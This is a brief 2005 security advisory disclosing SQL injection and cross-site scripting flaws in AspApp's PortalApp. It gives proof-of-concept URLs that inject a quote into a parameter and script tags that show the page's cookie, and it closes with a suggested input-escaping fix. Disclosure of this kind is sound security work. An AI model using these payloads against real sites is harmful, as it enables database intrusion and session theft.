Date: March 30, 2005
Vendor: AspApp
Vendor site: http://www.aspapp.com

Summary:
There are multiple sql injection, xss vulnerabilities in the PortalApp.

Proof of Concept Exploits:

http://localhost/ad_click.asp?banner_id='SQL_INJECTION
Microsoft JET Database Engine error '80040e14'

Syntax error in string in query expression 'banner_id = 'SQL_INJECTION'.

/ad_click.asp, line 14

http://localhost/content.asp?contenttype=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie

http://localhost/content.asp?do_search=1&keywords='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Possible fix: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.
